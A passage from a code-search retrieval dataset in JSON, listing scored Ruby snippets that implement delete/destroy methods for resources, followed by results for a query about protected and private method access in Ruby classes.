"docid": "487da26f5696f3c4b77d5686f228d89d",
"score": "0.8234303",
"text": "def destroy(id)\n resource.delete(id)\n true\n end",
"title": ""
},
{
"docid": "3fa818c92f4c568e1735bcceb5817535",
"score": "0.8215863",
"text": "def delete(id)\n @client.delete(\"/#{@model}/#{id}\")\n end",
"title": ""
},
{
"docid": "3fa818c92f4c568e1735bcceb5817535",
"score": "0.8215863",
"text": "def delete(id)\n @client.delete(\"/#{@model}/#{id}\")\n end",
"title": ""
},
{
"docid": "471c6ebd8c737638768cf0fc38033170",
"score": "0.821136",
"text": "def destroy(id); end",
"title": ""
},
{
"docid": "5667899392332c789774e8412085431e",
"score": "0.81802565",
"text": "def delete_by_id id\n delete :id => id\n end",
"title": ""
},
{
"docid": "876a4e5bc5a03e1eea0de2e0fef93312",
"score": "0.8179886",
"text": "def delete_object( id )\n uri = URI::HTTP.build( {:host => @host, :port => @port,\n :path => build_resource(id) } )\n\n headers = {}\n\n request = build_request( EsuRestApi::DELETE, uri, headers, nil )\n\n response = @session.request( request )\n\n handle_error( response )\n end",
"title": ""
},
{
"docid": "2784c9cfaab5b5089058a90d42fab068",
"score": "0.8168107",
"text": "def delete_by_id(id)\n delete(id)\n end",
"title": ""
},
{
"docid": "9c8c6f704e1d0a33750609cf507282df",
"score": "0.8164105",
"text": "def delete(id:)\n client.execute(method: :delete, path: \"/#{path}/#{id}\")\n end",
"title": ""
},
{
"docid": "e9be94d1e84b0cf9bd3266f30529b775",
"score": "0.8124711",
"text": "def delete(resource, id)\n @cli[\"/#{resource}/#{id}\"].delete\n true\n end",
"title": ""
},
{
"docid": "59de6a02d1dc8498105e83ca45b726c0",
"score": "0.811714",
"text": "def delete(id)\n call(:delete, path(id))\n end",
"title": ""
},
{
"docid": "59de6a02d1dc8498105e83ca45b726c0",
"score": "0.811714",
"text": "def delete(id)\n call(:delete, path(id))\n end",
"title": ""
},
{
"docid": "59de6a02d1dc8498105e83ca45b726c0",
"score": "0.811714",
"text": "def delete(id)\n call(:delete, path(id))\n end",
"title": ""
},
{
"docid": "c50770dfb4c6ec9873abc04268aea7a8",
"score": "0.8101831",
"text": "def delete(id)\n object(id).delete\n end",
"title": ""
},
{
"docid": "c50770dfb4c6ec9873abc04268aea7a8",
"score": "0.8101831",
"text": "def delete(id)\n object(id).delete\n end",
"title": ""
},
{
"docid": "c50770dfb4c6ec9873abc04268aea7a8",
"score": "0.8101831",
"text": "def delete(id)\n object(id).delete\n end",
"title": ""
},
{
"docid": "c50770dfb4c6ec9873abc04268aea7a8",
"score": "0.8101831",
"text": "def delete(id)\n object(id).delete\n end",
"title": ""
},
{
"docid": "c50770dfb4c6ec9873abc04268aea7a8",
"score": "0.8101831",
"text": "def delete(id)\n object(id).delete\n end",
"title": ""
},
{
"docid": "f1288ce0b0f70b278390dad7c1843258",
"score": "0.80464447",
"text": "def destroy\n fail \"No id; can't delete #{self.inspect}!\" unless id\n @client.delete(create_route(:delete))\n end",
"title": ""
},
{
"docid": "11929b810125147d658c5c2733305461",
"score": "0.8039137",
"text": "def delete\n url = prefix + \"delete\" + id_param\n return response(url)\n end",
"title": ""
},
{
"docid": "8d0d2d303d131f3cca244bf9402b53a7",
"score": "0.80356836",
"text": "def delete id\n req = Net::HTTP::Delete.new \"/#{id}\", @headers\n make_request(req)\n end",
"title": ""
},
{
"docid": "9d6d391fb623ff253e5fe3110e86df70",
"score": "0.8035547",
"text": "def delete(id, params: {}, headers: {})\n RestClient::Request.execute(\n method: :delete,\n url: build_resource_url(id),\n headers: build_headers(\n user_headers: headers,\n params: params\n )\n )\n\n nil\n end",
"title": ""
},
{
"docid": "ba3fe9bc47155d42aead5696132db0ee",
"score": "0.80218816",
"text": "def destroy(id)\n http_delete URL(uri, id)\n end",
"title": ""
},
{
"docid": "fa43aa6e66b27feffe1d36a2b74b9a8d",
"score": "0.79253966",
"text": "def delete_res_object_by_id(id)\n @res_obj.delete(id)\n rescue => e\n raise e\n end",
"title": ""
},
{
"docid": "761e230bea70a33dacb3657a11202faa",
"score": "0.7891416",
"text": "def destroy\n response = self.class.delete(\"/#{resource_name}/#{id}\", prefix_options)\n response.is_success\n end",
"title": ""
},
{
"docid": "888b1d690878bd4aae59acc514a146d8",
"score": "0.78829",
"text": "def destroy\n resource_id = params[:id]\n head :no_content\n end",
"title": ""
},
{
"docid": "ed7381e5d4059650fcfe56515f964b02",
"score": "0.78736365",
"text": "def delete_resource(id)\n @logger.debug(\"Deleting #{id} from blobstore...\")\n\n blobstore_resource(id) do |blobstore|\n blobstore.delete(id)\n end\n\n @logger.debug(\"Deleted #{id} from blobstore\")\n end",
"title": ""
},
{
"docid": "542c0d519255315c801b7d09b40ba1cf",
"score": "0.7865872",
"text": "def destroy_resource(id = nil)\n id ||= respond_to?(:params) && params.is_a?(Hash) && params[:id]\n resource_service.destroy id\n end",
"title": ""
},
{
"docid": "174b723f9e43bfa7501a9cdc389e4c1b",
"score": "0.7845595",
"text": "def delete\n @response = self.class.delete(\"#{@server_uri}/resource_name/#{@opts[:id]}.json\")\n end",
"title": ""
},
{
"docid": "6caaeb69c5a42e68801946413c82b620",
"score": "0.7812573",
"text": "def delete( client, id = nil)\n # FIXME if id defined - should use class method\n id = self.resource_id unless id\n # FIXME if no id defined\n client.delete( (sprintf \"%s/%s\", end_point, id), { 'format' => 'json' })\n self.resource_id = nil\n end",
"title": ""
},
{
"docid": "a7528103d4523ae9855c9256c8993a78",
"score": "0.7812327",
"text": "def delete(id)\n path(id).delete\n clean(id) if clean?\n end",
"title": ""
},
{
"docid": "003826bcac3e5f66a0c6bd310e60ba7e",
"score": "0.7767426",
"text": "def destroy\n @resource = Resource.find(params[:id])\n @resource.delete()\n render json: {status: 200}\n end",
"title": ""
},
{
"docid": "87632d2a9296136aa9adabc240e424ba",
"score": "0.7749627",
"text": "def delete(resource)\n\t\t\tend",
"title": ""
},
{
"docid": "87632d2a9296136aa9adabc240e424ba",
"score": "0.7749627",
"text": "def delete(resource)\n\t\t\tend",
"title": ""
},
{
"docid": "b972ab73e9d33f8a1039320c232965b1",
"score": "0.77250636",
"text": "def delete id\n wrap_errors { delete_one(id) }\n end",
"title": ""
},
{
"docid": "92fe85d5eaceaf08e41e17f3d36d1349",
"score": "0.76956886",
"text": "def delete! id\n\t\t\tNSConnector::Restlet.execute!(\n\t\t\t\t:action => 'delete',\n\t\t\t\t:type_id => type_id,\n\t\t\t\t:data => {'id' => Integer(id)}\n\t\t\t)\n\t\tend",
"title": ""
},
{
"docid": "7abc43a431e53e388b57692214c73d87",
"score": "0.7668298",
"text": "def destroy id\n @connection.delete entity(id)\n end",
"title": ""
},
{
"docid": "ef36c89ed7eff4a823f0e1343f0e5228",
"score": "0.7659363",
"text": "def delete _id\n raise \"Not implemented\"\n end",
"title": ""
},
{
"docid": "ef36c89ed7eff4a823f0e1343f0e5228",
"score": "0.7659363",
"text": "def delete _id\n raise \"Not implemented\"\n end",
"title": ""
},
{
"docid": "d62670e2ba1d9920126c6c743440af96",
"score": "0.7654518",
"text": "def delete(id)\n @http_verb = 'Delete'\n @url += id.to_s\n http\n @response\n end",
"title": ""
},
{
"docid": "1eff09691fe50c55b008ac18d89197a9",
"score": "0.7654348",
"text": "def delete( id )\n Dispatcher.get( id ).destroy\n end",
"title": ""
},
{
"docid": "18df6f9fdf55c44592e90ccfeb1bbff9",
"score": "0.76476234",
"text": "def delete(id, prefix = {})\n path = resource_path(id, prefix)\n connection.delete(path)\n true\n rescue Error::HTTPNotFound\n true\n end",
"title": ""
},
{
"docid": "746ffd2e45cfa4eff89a738fb04923a0",
"score": "0.7640598",
"text": "def delete(user_id, id)\n @_client.delete(\"#{resource_root(user_id)}/#{id}\")\n end",
"title": ""
},
{
"docid": "de5aa18790b5c61c056808a592af197b",
"score": "0.7639385",
"text": "def delete(id:)\n connection.http.delete(fedora_identifier(id: id))\n end",
"title": ""
},
{
"docid": "101838ef4fa154e238daac93338d9c78",
"score": "0.7635128",
"text": "def delete(id)\n remove(object_key(id))\n end",
"title": ""
},
{
"docid": "c1cde2518cb592b6add14fe05ae1b37d",
"score": "0.7633012",
"text": "def delete\n options = self.to_h \n uri = self.class.path_builder(:delete, self.id)\n data = {}\n data['id'] = self.id \n data = data.to_json\n VivialConnect::Client.instance.make_request('DELETE', uri, data)\n end",
"title": ""
},
{
"docid": "da8e69e9425eb5b7ede0a840d564438e",
"score": "0.762737",
"text": "def delete(resource:)\n connection.delete_by_id resource.id.to_s, params: COMMIT_PARAMS\n end",
"title": ""
},
{
"docid": "5d5ac81807f57e86763d020cc16bdfbc",
"score": "0.76064134",
"text": "def delete_resource(resource)\n resource.destroy\n end",
"title": ""
},
{
"docid": "ef2a922561f12bfb63c3ff91ec2de1cd",
"score": "0.7592759",
"text": "def delete(id)\n path = path(id)\n path.delete\n clean(path) if clean?\n rescue Errno::ENOENT\n end",
"title": ""
},
{
"docid": "e531f0e21347f8c63c89882a292c32aa",
"score": "0.7592573",
"text": "def delete(id)\n attrs = client.post(\"#{id}/delete\")\n new(attrs)\n end",
"title": ""
},
{
"docid": "adc919b95c2a3d3e622a757e239b8ab6",
"score": "0.7581982",
"text": "def destroy(id)\n http.delete(\"#{endpoint_base}/#{id}\", body: {}) do |response|\n true\n end\n end",
"title": ""
},
{
"docid": "ee04aeb460b3f772479e61d8c0f76f32",
"score": "0.75799495",
"text": "def delete(id)\n request do\n response =\n connection.delete id\n\n parse(response.body)\n end\n end",
"title": ""
},
{
"docid": "ee04aeb460b3f772479e61d8c0f76f32",
"score": "0.75799495",
"text": "def delete(id)\n request do\n response =\n connection.delete id\n\n parse(response.body)\n end\n end",
"title": ""
},
{
"docid": "ee04aeb460b3f772479e61d8c0f76f32",
"score": "0.75799495",
"text": "def delete(id)\n request do\n response =\n connection.delete id\n\n parse(response.body)\n end\n end",
"title": ""
},
{
"docid": "ee04aeb460b3f772479e61d8c0f76f32",
"score": "0.75799495",
"text": "def delete(id)\n request do\n response =\n connection.delete id\n\n parse(response.body)\n end\n end",
"title": ""
},
{
"docid": "c83b19ce5dbd466918a544d01ade4d6d",
"score": "0.75623965",
"text": "def delete_resource_action(type, id = nil, data = nil)\n api_resource(type, id, \"Deleting\") do |resource|\n delete_resource_main_action(type, resource, data)\n end\n end",
"title": ""
},
{
"docid": "8e36e575caf0f625f21c4ea726babf59",
"score": "0.7560595",
"text": "def delete(id)\n path(id).delete\n clean(path(id)) if clean?\n rescue Errno::ENOENT\n end",
"title": ""
},
{
"docid": "f2f44bf6dd24c630c050257e6a3a0a9c",
"score": "0.75604343",
"text": "def destroy\n fetch_by_id\n singular.destroy\n head :no_content\n end",
"title": ""
},
{
"docid": "f2de31bc04d5b30b6cae9df19a45c772",
"score": "0.7551136",
"text": "def delete!\n resource = RESOURCE % { account_id: account.id, id: id }\n response = Request.new(account.client, :delete, resource).perform\n from_response(response.body[:data])\n end",
"title": ""
},
{
"docid": "7cacc6d92bfd311dfcc9e7201e690310",
"score": "0.7529434",
"text": "def delete!\n self.class.delete!(id: id)\n end",
"title": ""
},
{
"docid": "06cc39dbd10aaa33796982ff088d2e2f",
"score": "0.75166786",
"text": "def delete(id:)\n adapter_for(id: id).delete(id: id)\n end",
"title": ""
},
{
"docid": "a3b9a763c00e275b705a23539a0173cb",
"score": "0.7516001",
"text": "def delete_id(id)\n delete(get_by_id(id))\n end",
"title": ""
},
{
"docid": "a3b9a763c00e275b705a23539a0173cb",
"score": "0.7516001",
"text": "def delete_id(id)\n delete(get_by_id(id))\n end",
"title": ""
},
{
"docid": "d4766888e4085b1bc0868b70ce73b43f",
"score": "0.7514598",
"text": "def delete(id)\n fire(:before_delete)\n DataStore.delete(id, self.to_s.downcase.pluralize)\n @@store.resources[self.to_s.make_key].each_with_index do |o,i|\n @@store.resources[self.to_s.make_key].delete_at(i) if o[0] == id\n end\n fire(:after_delete)\n true\n end",
"title": ""
},
{
"docid": "7ca7e8ba9bdfdf617b6cbfda6d8cca1d",
"score": "0.7513884",
"text": "def delete\n ruta = \"/actions/#{id}\"\n client.delete(ruta)\n end",
"title": ""
},
{
"docid": "e59ecabe613c170c4699eca07284c715",
"score": "0.75026095",
"text": "def delete(id, header = {})\n url = \"#{ApiClient.config.path}#{self.resource_path}/#{id}\"\n response = ApiClient::Dispatcher.delete(url, header)\n params = ApiClient::Parser.response(response, url)\n build(params)\n end",
"title": ""
},
{
"docid": "12b055f187606b2813628811c2cc93ea",
"score": "0.7496625",
"text": "def destroy\n\tputs \"destroy\"\n @resource = Resource.find(params[:id])\n @resource.destroy\n\n respond_to do |format|\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "90afcf614cae42b6574d47c70c7fa647",
"score": "0.7492714",
"text": "def delete_by_id(id)\n delete_cancel_operation_by_id(id)\n end",
"title": ""
},
{
"docid": "3490d53c202c4f9734b35df5d33b9ef3",
"score": "0.7473865",
"text": "def delete(id)\n query = {operation: :delete}\n params = {\n sessionName: @session_id,\n id: id\n }\n res = post_request query, params\n res['result']\n end",
"title": ""
},
{
"docid": "108041bc77bf172cd96a4d4effa0512d",
"score": "0.7461416",
"text": "def delete(resource:)\n trace(\"valkyrie.delete\") do |span|\n span.set_tag(\"param.resource\", resource.id.to_s)\n __getobj__.delete(resource: resource)\n end\n end",
"title": ""
},
{
"docid": "0bb1187d932a09b2efe190ec04af0043",
"score": "0.74553204",
"text": "def delete\n self.class.delete(@id)\n end",
"title": ""
},
{
"docid": "28b852842b1651694ef51847deac09f3",
"score": "0.7449159",
"text": "def delete(id)\n api.delete(url(:delete, id), token: @access_token.token)\n true\n end",
"title": ""
},
{
"docid": "535cd073aa16df097c1d10b0ba6b82b2",
"score": "0.7426851",
"text": "def delete id\n solr_client.delete('id:' + id)\n end",
"title": ""
},
{
"docid": "a34bfda60c936db17c9b71af42d54ded",
"score": "0.7423262",
"text": "def delete\n # TODO: validate returned json fits schema\n @json = @interface.delete_by_id @json['id']\n end",
"title": ""
},
{
"docid": "dff2ea92ed135eab4963be44616c8839",
"score": "0.7421531",
"text": "def allow_delete\n resource = resource_klass.find_by id: params[:id]\n\n return resource_not_found if resource.nil?\n\n # TODO: first destroy everything that's uniquely related to this resource?\n\n resource.destroy\n\n head 204\n end",
"title": ""
},
{
"docid": "290b1fabe2547d18d68edfdee2e7215a",
"score": "0.7419112",
"text": "def delete(id)\n read_or_die(id)\n\n Pod4.logger.debug(__FILE__) do\n \"Deleting #{self.class.table} where #{@id_fld}=#{id}\"\n end\n\n db_table.where(@id_fld => id).delete\n self\n rescue => e\n handle_error(e)\n end",
"title": ""
},
{
"docid": "20f6f4327d58f4b360b96b122c86d46e",
"score": "0.7411747",
"text": "def delete(_id)\n fail 'Not implemented'\n end",
"title": ""
},
{
"docid": "db6e7558ade9cfa48153aab34464daf0",
"score": "0.74046826",
"text": "def destroy\n @resource.delete\n end",
"title": ""
},
{
"docid": "16c917c00a1e1791a18d4e8237f1c274",
"score": "0.7401905",
"text": "def destroy(id)\n call(\"destroy/#{id}\")\n end",
"title": ""
},
{
"docid": "16c917c00a1e1791a18d4e8237f1c274",
"score": "0.7401905",
"text": "def destroy(id)\n call(\"destroy/#{id}\")\n end",
"title": ""
},
{
"docid": "f90b983db6dcdc9d84ff67d34e1b96fe",
"score": "0.738298",
"text": "def delete(api_resource, id)\n if api_resource == \"synthetics/tests\"\n # https://docs.datadoghq.com/api/latest/synthetics/#delete-tests\n request :post, \"/api/v1/#{api_resource}/delete\", body: { public_ids: [id] }, ignore_404: true\n else\n request :delete, \"/api/v1/#{api_resource}/#{id}\", params: { force: \"true\" }, ignore_404: true\n end\n end",
"title": ""
},
{
"docid": "d051553b4a462a980ddb91e5ccd1a840",
"score": "0.7368629",
"text": "def remove(id:)\n client.execute(method: :put, path: \"/#{path}/#{id}/remove\")\n end",
"title": ""
},
{
"docid": "c9ec6c9a6cd087d7c6f23ed42685e98a",
"score": "0.7360935",
"text": "def delete_resource\n nil\n end",
"title": ""
},
{
"docid": "c01e60d794af8a6f0bdfa6ee4d8bce64",
"score": "0.73499423",
"text": "def delete(id, options = {:hard => false})\n delete_all({:id => id}, options)\n end",
"title": ""
},
{
"docid": "8a51f7f89531136193e9a7e8c7b316cd",
"score": "0.7340082",
"text": "def delete(id)\n delete!(id)\n rescue\n false\n end",
"title": ""
},
{
"docid": "232e7b12a374fe664aba8f31875efd55",
"score": "0.7324881",
"text": "def delete(id)\n wf_source_id?(id)\n api.delete(id)\n end",
"title": ""
},
{
"docid": "a11dcae6eca060e151866720de2d3f0d",
"score": "0.7314838",
"text": "def delete(id)\n raise ArgumentError, 'You must pass an ID to delete' unless id\n\n send_message( verb_for(:delete), \n param_string(:delete, nil, id), \n false )\n\n self\n end",
"title": ""
},
{
"docid": "2a103cc43c45e997c4ff43fa5e4ddf09",
"score": "0.730721",
"text": "def destroy\n\t \t@resource = Resource.find(params[:id])\n\t \t#@resource = @identity.resources.find(params[:id])\n\t \t@resource.destroy\n\t \tredirect_to identity_resources_path(session[:user_id] ) , notice: 'Recurso eliminado correctamente' \n\tend",
"title": ""
},
{
"docid": "1021ccd6e9ce33687eaca285be892e67",
"score": "0.7306906",
"text": "def delete\n backend.delete(id)\n end",
"title": ""
},
{
"docid": "ba0a52568db192dd42ea614ddeff1cff",
"score": "0.7302868",
"text": "def destroy\n @resource = Resource.find(params[:id])\n @resource.destroy\n\n respond_to do |format|\n format.html { redirect_to resources_url }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "f1040ad4ec84c67ecb94170d79aafd1d",
"score": "0.7298812",
"text": "def destroy\n @resource = Resource.find(params[:id])\n @resource.destroy\n\n respond_to do |format|\n format.html { redirect_to(resources_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "f1040ad4ec84c67ecb94170d79aafd1d",
"score": "0.7298812",
"text": "def destroy\n @resource = Resource.find(params[:id])\n @resource.destroy\n\n respond_to do |format|\n format.html { redirect_to(resources_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "f1040ad4ec84c67ecb94170d79aafd1d",
"score": "0.7298812",
"text": "def destroy\n @resource = Resource.find(params[:id])\n @resource.destroy\n\n respond_to do |format|\n format.html { redirect_to(resources_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "ea6e3a26b88c1440990b8fbc0272f9d1",
"score": "0.7295157",
"text": "def destroy\n self.class.resource.delete(id)\n @attributes.freeze\n true\n end",
"title": ""
},
{
"docid": "71df851c1c272e77e40868b6b28650f4",
"score": "0.72843385",
"text": "def destroy(id)\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "cbd06dbac17dc1b2f91ea54ee896af2b",
"score": "0.7280188",
"text": "def delete_resource\n\t\tQuote.find(id).destroy\n\t\ttrue\n\tend",
"title": ""
},
{
"docid": "ca9c32cb516f0af48328fc225d7c018f",
"score": "0.7276399",
"text": "def delete(id:)\n path = file_path(id)\n FileUtils.rm_rf(path) if File.exist?(path)\n end",
"title": ""
},
{
"docid": "a41be49f6458790d5a2d38db09348203",
"score": "0.72683436",
"text": "def destroy\n require 'net/http'\n require 'json'\n\n # Correct URL for deleting a resource.\n uri = URI(\"http://localhost:3000/students/#{params[:id]}.json\")\n\n request = Net::HTTP::Delete.new uri\n\n # Hitting the endpoint.\n response = Net::HTTP.start uri.hostname, uri.port do |http|\n http.request request\n end\n\n if response.code == '200'\n redirect_to students_path, notice: 'Successfully removed record.'\n else\n redirect_to students_path, notice: 'Failed to delete.'\n end\n end",
"title": ""
}
] |
c9f95bb6b1c271e9fe873127c83ff166
|
protected Access Specifier=Method is accessible only in the child class.
|
[
{
"docid": "81a2c056acf5f593ebed8929175e5b3d",
"score": "0.0",
"text": "def department\n\t\tputs \"I Am In Sales Department\"\n\tend",
"title": ""
}
] |
[
{
"docid": "ff7bd9ba439857b999472c0cd10dda56",
"score": "0.78312457",
"text": "def access_protected\n \tc2=Child.new\n \tc2.method_c\n end",
"title": ""
},
{
"docid": "2a5d5b46a63c804a33474e5ed4c393f2",
"score": "0.73683757",
"text": "def protected_method\n\tend",
"title": ""
},
{
"docid": "2a5d5b46a63c804a33474e5ed4c393f2",
"score": "0.73683757",
"text": "def protected_method\n\tend",
"title": ""
},
{
"docid": "4a5084c8b6f9c590ac2378a174ef14db",
"score": "0.73590505",
"text": "def access_modifier?; end",
"title": ""
},
{
"docid": "4a5084c8b6f9c590ac2378a174ef14db",
"score": "0.73590505",
"text": "def access_modifier?; end",
"title": ""
},
{
"docid": "d11da73d7a741de16ef5e4fb4157a01a",
"score": "0.7330131",
"text": "def access; end",
"title": ""
},
{
"docid": "d11da73d7a741de16ef5e4fb4157a01a",
"score": "0.7330131",
"text": "def access; end",
"title": ""
},
{
"docid": "df85ac1f005a02e13e7893d1864d79ed",
"score": "0.730333",
"text": "def protected_method\n end",
"title": ""
},
{
"docid": "7d3206fdee515addbaa426dffb5132aa",
"score": "0.7201675",
"text": "def method\n raise NotImplementedError, 'Define this method on the child classes'\n end",
"title": ""
},
{
"docid": "26ea602ee17f751badb08ef8313d3feb",
"score": "0.7138505",
"text": "def protected_method\n end",
"title": ""
},
{
"docid": "26ea602ee17f751badb08ef8313d3feb",
"score": "0.7138505",
"text": "def protected_method\n end",
"title": ""
},
{
"docid": "bc01f0c36a89fc8e49af1f3292df3840",
"score": "0.70799786",
"text": "def public_access_level; end",
"title": ""
},
{
"docid": "14f5b097cb934cef51e0b9c29168565c",
"score": "0.7004478",
"text": "def bare_access_modifier?; end",
"title": ""
},
{
"docid": "14f5b097cb934cef51e0b9c29168565c",
"score": "0.7004478",
"text": "def bare_access_modifier?; end",
"title": ""
},
{
"docid": "a84cdf15fb6d4f0dde5acea0e44cac4a",
"score": "0.68959796",
"text": "def private_method\n puts 'Private method from inside a parent class'\n end",
"title": ""
},
{
"docid": "d129cc756661d2db1b6e7ead9a68728c",
"score": "0.6705075",
"text": "def in_private; end",
"title": ""
},
{
"docid": "327be2b0f67494e1cbd65a6bef9d6937",
"score": "0.6669098",
"text": "def non_bare_access_modifier?; end",
"title": ""
},
{
"docid": "327be2b0f67494e1cbd65a6bef9d6937",
"score": "0.6669098",
"text": "def non_bare_access_modifier?; end",
"title": ""
},
{
"docid": "44f2a566091b9ea8bffad7d05aac7b7c",
"score": "0.6621716",
"text": "def method2 # will be 'protected'\n #...\n end",
"title": ""
},
{
"docid": "6f120b419ba75ba6819452136400a61e",
"score": "0.6576168",
"text": "def method2 # will be 'protected'\n #...\n end",
"title": ""
},
{
"docid": "a8372018767fd5bc72a0480f720681e0",
"score": "0.6562392",
"text": "def post_access_data\n # overwrite in subclass\n end",
"title": ""
},
{
"docid": "bbd56afdc93cde27c46acc00bf4e03df",
"score": "0.65525234",
"text": "def super_method()\n #This is a stub, used for indexing\n end",
"title": ""
},
{
"docid": "2290804b238fc95bfd6b38f87c6d2895",
"score": "0.65522325",
"text": "def override; end",
"title": ""
},
{
"docid": "6ce723c92c6923278af1cd1fe0a337e4",
"score": "0.65424937",
"text": "def method2 # will be 'protected'\n #...\n end",
"title": ""
},
{
"docid": "58b2166f388beedbda586a4d9e71c443",
"score": "0.6541023",
"text": "def a_protected_method\n\t\tputs \"This is a protected method\"\n\tend",
"title": ""
},
{
"docid": "716a169aeb66148d988e8801b2869665",
"score": "0.653492",
"text": "def test_attr_protected_should_be_unusable_by_subclasses\n InaccessibleRecord.send(:attr_protected, :name)\n end",
"title": ""
},
{
"docid": "1eba7f5235d12cab0ec40141bb9adaca",
"score": "0.6534332",
"text": "def secret_method\n puts 'This is a secret method from the parent class.'\n end",
"title": ""
},
{
"docid": "3c7472ba3dd22c18e671a7372d32b56d",
"score": "0.652643",
"text": "def method2 #protected\n\t\t#...\n\tend",
"title": ""
},
{
"docid": "84cacf4602dbb4cc51d4a28b183ba2f9",
"score": "0.6516978",
"text": "def method2 # will be 'protected'\n #...\n end",
"title": ""
},
{
"docid": "40eedae09aead39c3fad3af43a4b8e8b",
"score": "0.6513339",
"text": "def method2 # will be 'protected'\n # ...\n end",
"title": ""
},
{
"docid": "9033a4004eb88fe2a1f0a7e5671e3d95",
"score": "0.64790756",
"text": "def private_method; end",
"title": ""
},
{
"docid": "e3287ad0c24d3e2ebf785144094d865f",
"score": "0.6468017",
"text": "def access\n\n end",
"title": ""
},
{
"docid": "162b63d96fba382f4ac1d354527bb10c",
"score": "0.6449949",
"text": "def protection; end",
"title": ""
},
{
"docid": "162b63d96fba382f4ac1d354527bb10c",
"score": "0.6449949",
"text": "def protection; end",
"title": ""
},
{
"docid": "25a0992a8f81e5dc688cfe170b44e415",
"score": "0.644969",
"text": "def access_level\n super.to_i\n end",
"title": ""
},
{
"docid": "25a0992a8f81e5dc688cfe170b44e415",
"score": "0.644969",
"text": "def access_level\n super.to_i\n end",
"title": ""
},
{
"docid": "25a0992a8f81e5dc688cfe170b44e415",
"score": "0.644969",
"text": "def access_level\n super.to_i\n end",
"title": ""
},
{
"docid": "3bbfd0fd2e3064426821f100fd7ad5f6",
"score": "0.6431402",
"text": "def private_method\n\tend",
"title": ""
},
{
"docid": "3bbfd0fd2e3064426821f100fd7ad5f6",
"score": "0.6431402",
"text": "def private_method\n\tend",
"title": ""
},
{
"docid": "70a9ab19790aba2cea22b6ec1c17d391",
"score": "0.6420974",
"text": "def private_class_method\n end",
"title": ""
},
{
"docid": "3718e8f8102702ca96f887e5d6292128",
"score": "0.6413309",
"text": "def protected_memowise_method\n @protected_memowise_method_counter = protected_memowise_method_counter + 1\n \"protected_memowise_method\"\n end",
"title": ""
},
{
"docid": "796d10daf105cb06c15c156464e97904",
"score": "0.63884354",
"text": "def access_restrictions; end",
"title": ""
},
{
"docid": "6a6ed5368f43a25fb9264e65117fa7d1",
"score": "0.6333119",
"text": "def internal; end",
"title": ""
},
{
"docid": "316f02c39b7807454bd3d6ee57145aaa",
"score": "0.6329989",
"text": "def my_permission\n super\n end",
"title": ""
},
{
"docid": "d3c96e42392398d4f63dc20a89752d20",
"score": "0.6328916",
"text": "def private_method\n end",
"title": ""
},
{
"docid": "5bebb50e6017c68ad99e99d9a4ff9fc8",
"score": "0.6268686",
"text": "def inherited(child_class); end",
"title": ""
},
{
"docid": "c9560a17fae18941b0c61aaf6f6b9273",
"score": "0.6267129",
"text": "def inherited( subclass )\n\t\t\t\tsubclass.module_eval { public_class_method :new }\n\t\t\t\tsuper\n\t\t\tend",
"title": ""
},
{
"docid": "bf92e90603a5ee2dc0876a6d03f92775",
"score": "0.6265698",
"text": "def a_private_method\n\tend",
"title": ""
},
{
"docid": "27cff0b1d7cc168cbc051e549f1a364e",
"score": "0.62596226",
"text": "def required_access_level\n @@required_access_levels[self.class.name]\n end",
"title": ""
},
{
"docid": "e52bd1611b7013acda5d335e015c3571",
"score": "0.62468874",
"text": "def access_right\n end",
"title": ""
},
{
"docid": "2165e75e017327d61962ba9aaf6564ba",
"score": "0.6246131",
"text": "def private?; end",
"title": ""
},
{
"docid": "2165e75e017327d61962ba9aaf6564ba",
"score": "0.6245618",
"text": "def private?; end",
"title": ""
},
{
"docid": "75cfc3b2181e3d642de252a19d8b06f7",
"score": "0.6234293",
"text": "def permission; end",
"title": ""
},
{
"docid": "bba0d99d8049a28f5bceab16ef497fa0",
"score": "0.62341696",
"text": "def privacy; end",
"title": ""
},
{
"docid": "d9ff1702ba1624b80341c31065e58526",
"score": "0.6226559",
"text": "def inherited( subclass )\n\t\t\tsubclass.module_eval { public_class_method :new }\n\t\t\tsuper\n\t\tend",
"title": ""
},
{
"docid": "78715c96fa1cf2097657613c494e2cc6",
"score": "0.622642",
"text": "def internal_methods; end",
"title": ""
},
{
"docid": "090f8aeefc03990ee7a067c230c12a5d",
"score": "0.6217479",
"text": "def security; end",
"title": ""
},
{
"docid": "92b821bc8a9ff313f4ff384bacde9216",
"score": "0.6211717",
"text": "def protect()\n res = super(context,self)\n return res\n end",
"title": ""
},
{
"docid": "25230370f34a30e3edbbab0adeefd729",
"score": "0.6194422",
"text": "def accessible\n true \n end",
"title": ""
},
{
"docid": "e21e8506fc488800618fb6f83e35d311",
"score": "0.61849415",
"text": "def inherited(base); end",
"title": ""
},
{
"docid": "e21e8506fc488800618fb6f83e35d311",
"score": "0.61849415",
"text": "def inherited(base); end",
"title": ""
},
{
"docid": "e21e8506fc488800618fb6f83e35d311",
"score": "0.61849415",
"text": "def inherited(base); end",
"title": ""
},
{
"docid": "e21e8506fc488800618fb6f83e35d311",
"score": "0.61849415",
"text": "def inherited(base); end",
"title": ""
},
{
"docid": "e21e8506fc488800618fb6f83e35d311",
"score": "0.61849415",
"text": "def inherited(base); end",
"title": ""
},
{
"docid": "e21e8506fc488800618fb6f83e35d311",
"score": "0.61849415",
"text": "def inherited(base); end",
"title": ""
},
{
"docid": "b7d6d13ec50ddd4df0e2cf94eea2f271",
"score": "0.61753833",
"text": "def access_policy; end",
"title": ""
},
{
"docid": "4608093e03a5e1e6a7aadee77a9d622b",
"score": "0.61613905",
"text": "def respond_to?(method_name, include_priv = false)\n return false if read_only?(method_name)\n super\n end",
"title": ""
},
{
"docid": "9fb89e95341b5efa134eff27f4faccaa",
"score": "0.61578816",
"text": "def member\n super\n end",
"title": ""
},
{
"docid": "9fb89e95341b5efa134eff27f4faccaa",
"score": "0.61578816",
"text": "def member\n super\n end",
"title": ""
},
{
"docid": "9fb89e95341b5efa134eff27f4faccaa",
"score": "0.61578816",
"text": "def member\n super\n end",
"title": ""
},
{
"docid": "31e801a93dc2fdf9be17a4b890837c5a",
"score": "0.61505514",
"text": "def public_method; end",
"title": ""
},
{
"docid": "f92bb209f6797d48e949ae05f78d687f",
"score": "0.6147838",
"text": "def child_class\n fail 'Subclass should override method :child_class'\n end",
"title": ""
},
{
